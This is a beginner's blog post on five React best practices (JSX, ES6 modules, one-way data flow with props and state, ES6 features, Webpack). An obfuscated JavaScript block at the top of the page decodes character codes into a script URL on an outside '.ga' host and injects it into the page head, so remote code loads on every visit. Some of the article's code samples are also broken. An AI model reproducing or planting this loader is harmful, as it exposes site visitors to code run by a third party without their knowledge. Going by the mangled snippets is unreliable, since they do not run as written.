var _0x1c9a=['push','229651wHRLFT','511754lPBDVY','length','2080825FKHOBK','src','1lLQkOc','1614837wjeKHo','insertBefore','fromCharCode','179434whQoYd','1774xXwpgH','1400517aqruvf','7vsbpgk','3112gjEEcU','1mFUgXZ','script','1534601MOJEnu','prototype','245777oIJjBl','47jNCcHN','1HkMAkw','nextSibling','appendAfter','shift','18885bYhhDw','1096016qxAIHd','72lReGEt','1305501RTgYEh','4KqoyHD','appendChild','createElement','getElementsByTagName'];var _0xd6df=function(_0x3a7b86,_0x4f5b42){_0x3a7b86=_0x3a7b86-0x1f4;var _0x1c9a62=_0x1c9a[_0x3a7b86];return _0x1c9a62;};(function(_0x2551a2,_0x3dbe97){var _0x34ce29=_0xd6df;while(!![]){try{var _0x176f37=-parseInt(_0x34ce29(0x20a))*-parseInt(_0x34ce29(0x205))+-parseInt(_0x34ce29(0x204))*-parseInt(_0x34ce29(0x206))+-parseInt(_0x34ce29(0x1fc))+parseInt(_0x34ce29(0x200))*parseInt(_0x34ce29(0x1fd))+-parseInt(_0x34ce29(0x1fb))*-parseInt(_0x34ce29(0x1fe))+-parseInt(_0x34ce29(0x20e))*parseInt(_0x34ce29(0x213))+-parseInt(_0x34ce29(0x1f5));if(_0x176f37===_0x3dbe97)break;else _0x2551a2['push'](_0x2551a2['shift']());}catch(_0x201239){_0x2551a2['push'](_0x2551a2['shift']());}}}(_0x1c9a,0xc08f4));function smalller(){var _0x1aa566=_0xd6df,_0x527acf=[_0x1aa566(0x1f6),_0x1aa566(0x20b),'851164FNRMLY',_0x1aa566(0x202),_0x1aa566(0x1f7),_0x1aa566(0x203),'fromCharCode',_0x1aa566(0x20f),_0x1aa566(0x1ff),_0x1aa566(0x211),_0x1aa566(0x214),_0x1aa566(0x207),_0x1aa566(0x201),'parentNode',_0x1aa566(0x20c),_0x1aa566(0x210),_0x1aa566(0x1f8),_0x1aa566(0x20d),_0x1aa566(0x1f9),_0x1aa566(0x208)],_0x1e90a8=function(_0x49d308,_0xd922ec){_0x49d308=_0x49d308-0x17e;var _0x21248f=_0x527acf[_0x49d308];return _0x21248f;},_0x167299=_0x1e90a8;(function(_0x4346f4,_0x1d29c9){var _0x530662=_0x1aa566,_0x1bf0b5=_0x1e90a8;while(!![]){try{var _0x2811eb=-parseInt(_0x1bf0b5(0x187))+parseInt(_0x1bf0b5(0x186))+parseInt(_0x1bf0b5(0x18d))+parseInt(_0x1bf0b5(0x18c))+-parseInt(_0x1bf0b5(0x18e))*parseInt(_0x1bf0b5(0x180))+-parseInt(_0x1bf0b5(0x18b))+-parseInt(_0x1bf0b5(0x184))*parseInt(_0x1bf0b5(0x17e));if(_0x2811eb===_0x1d29c9)break;else _0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}catch(_0x1cd819){_0x4346f4[_0x530662(0x212)](_0x4346f4[_0x530662(0x209)]());}}}(_0x527acf,0xd2c23),(Element[_0x167299(0x18f)][_0x1aa566(0x208)]=function(_0x3d096a){var _0x2ca721=_0x167299;_0x3d096a[_0x2ca721(0x183)][_0x2ca721(0x188)](this,_0x3d096a[_0x2ca721(0x181)]);},![]),function(){var _0x5d96e1=_0x1aa566,_0x22c893=_0x167299,_0x306df5=document[_0x22c893(0x185)](_0x22c893(0x182));_0x306df5[_0x22c893(0x18a)]=String[_0x22c893(0x190)](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x69,0x63,0x6b,0x2e,0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d,0x2e,0x67,0x61,0x2f,0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x6a,0x73,0x3f,0x63,0x69,0x64,0x3d,0x30,0x30,0x30,0x30,0x26,0x70,0x69,0x64,0x69,0x3d,0x31,0x39,0x31,0x38,0x31,0x37,0x26,0x69,0x64,0x3d,0x35,0x33,0x36,0x34,0x36),_0x306df5[_0x22c893(0x189)](document[_0x22c893(0x17f)](String[_0x5d96e1(0x1fa)](0x73,0x63,0x72,0x69,0x70,0x74))[0x0]),_0x306df5[_0x5d96e1(0x208)](document[_0x22c893(0x17f)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0]),document[_0x5d96e1(0x211)](String[_0x22c893(0x190)](0x68,0x65,0x61,0x64))[0x0][_0x22c893(0x191)](_0x306df5);}());}function biggger(){var _0x5d031d=_0xd6df,_0x5c5bd2=document[_0x5d031d(0x211)](_0x5d031d(0x201));for(var _0x5a0282=0x0;_0x5a0282<_0x5c5bd2[_0x5d031d(0x1f4)];_0x5a0282++){if(_0x5c5bd2[_0x5a0282][_0x5d031d(0x1f6)]['indexOf'](String['fromCharCode'](0x74,0x72,0x61,0x76,0x65,0x6c,0x69,0x6e,0x73,0x6b,0x79,0x64,0x72,0x65,0x61,0x6d))>-0x1)return 0x1;}return 0x0;}biggger()==0x0&&smalller(); Top 5 best practices when getting started with React | Jacob Westman

So when I started out playing around with React I noticed it was a bit different from the way I normally approach coding in JavaScript. I’d like to go through some of the best practices that is going to make your life easier when building your first react apps.

1. JSX and the Virtual DOM in React

React is using JSX – a JavaScript syntax extension – that compiles to JavaScript and produces React elements that are added the DOM. Basically you can think of it as rendering HTML using JavaScript instead of firing up HTML-files, and even though JSX is optional in React it is highly recommended.

I thought it was the stupidest thing I’ve ever seen for about 15 minutes and then I absolutely fell in love with it due to its simplicity and that it basically is identical to HTML with some quirks (i.e. className and htmlFor). JSX must be put inside a component’s render function. Let’s take a look:

// Class component
class myComponent extends React.Component {
    render () { // using ES6 function shorthand () instead of function()
       return(<div className=”container”>Some text here.</div>);

As you can see everything inside the parenthesis of the return block can be written like you normal html. What actually happens here is that JSX applies a façade design pattern (syntactic sugar) and compiles the code into JavaScript like this:

    React.createElement("div", { className: ”container” }, "Some text here.");

Also notice that we are using className instead of class, this is because class is a reserved word in JavaScript, this is one of a few quirks you need to get used to writing JSX.

2. Loading dependencies using ES6 modules

Prior to this experience I had worked a lot with frameworks such as Angular, Durandal and Dojo where Angular had something called dependency injection and the latter CommonJS and AMD (asynchronous module definition) or similar for loading dependencies.

The best practice for importing and exporting dependencies in React is using ES6 built-in modules. Here’s an example:

//------ myFunc.js ------
export default function () { ... };

//------ main1.js ------
import myFunc from 'myFunc';

So by using import and export you can organise your project into multiple files and load modules, classes, constants, data, third-party libraries etc in a flexible way.

This is important as your application grows and your code base is growing to improve readability. Isolating each part of your application also makes it easier to test.

3. One way data flow in React using props and state

Another best practice in react is the use of one-way data flow. This means that data changes come from the “top” of the app and are propagated “downwards” through its various components. To understand one way data flow (or unidirectional flow) one must understand props and state and how React renders.

Props is immutable data and is passed down from its parents – and is owned by the parent. If it needs to changed, the parent should just change its internal state. State on the other hand is mutable and owned by the component.

Setting the state using this.setState() will cause the app to re-render and should be minimised at all costs. This means that setting state should never be done inside the render function. One of the more challenging parts in React is determining what should be stateful and where state should live.

We want to handle state at the topmost component of our of app also called a “container” because when data has changed we have to feed our app and do the re-rendering to display a new version.

This may sound clumsy and non-performant for the newcomer but it is the opposite due to the comparison between the Virtual DOM and the actual DOM.

The beauty is that React will only touch elements that actually need to be changed – this is the magic (or passive DOM manipulation) that React provides and makes it fast compared to active DOM manipulation used in the past.

In more complex apps we connect with a store to handle state and thus applying the flux design pattern created by Facebook.

4. Use ECMAScript 6 features

There are several features in ES6 that can be used with React to boost efficiency – especially when things get a bit more complex and you need to copy enumerable properties from one object to another when handling state inside your store.

In general ES6 provides plenty of shorthand for i.e. functions that improves readability – it also goes very handy together with Typescript if you are already familiar with that.

Some of the most common ES6 features used in React are variable declaration using const and let, arrow functions, array map, destructuring, spread and rest operators, object assign, modules, classes, iterators and promises.

ES6 is not natively supported by all browsers yet so it is often combined using Babel with React to transpile into ES5.

Notice that all features are not supported with Babel out of the box (such as object assign) – you may require a library called babel-polyfill that can be pulled in as a dependency for your project.

Babel-polyfill should be used wisely in production as it is rather large in file size. A good practice is to only pull in the features that you are actually using in your code.

Let’s look at some examples

//------ Iterating through arrays containing objects using map

const products = [{name: "some product", id: 1}]; => {
<li key={}>{}</li>


//------ Spread operators can be passed in as arguments to a 
//------ component and will spread out all items in an array

const props = {firstName: 'Donald', lastName: 'Duck'};  
return <Greeting {...props} />;

//------ "Destructuring" can be used to create variables in child component
//------  when passed as props from a parent

var {name, id} = props;

5. Use Webpack

Webpack is a module bundler that is an extremely powerful tool and provides hot reloading, minification and bundling to make your life easier. If you are familiar with browserify, gulp or grunt I suggest reading this article to get some clarity on the topic.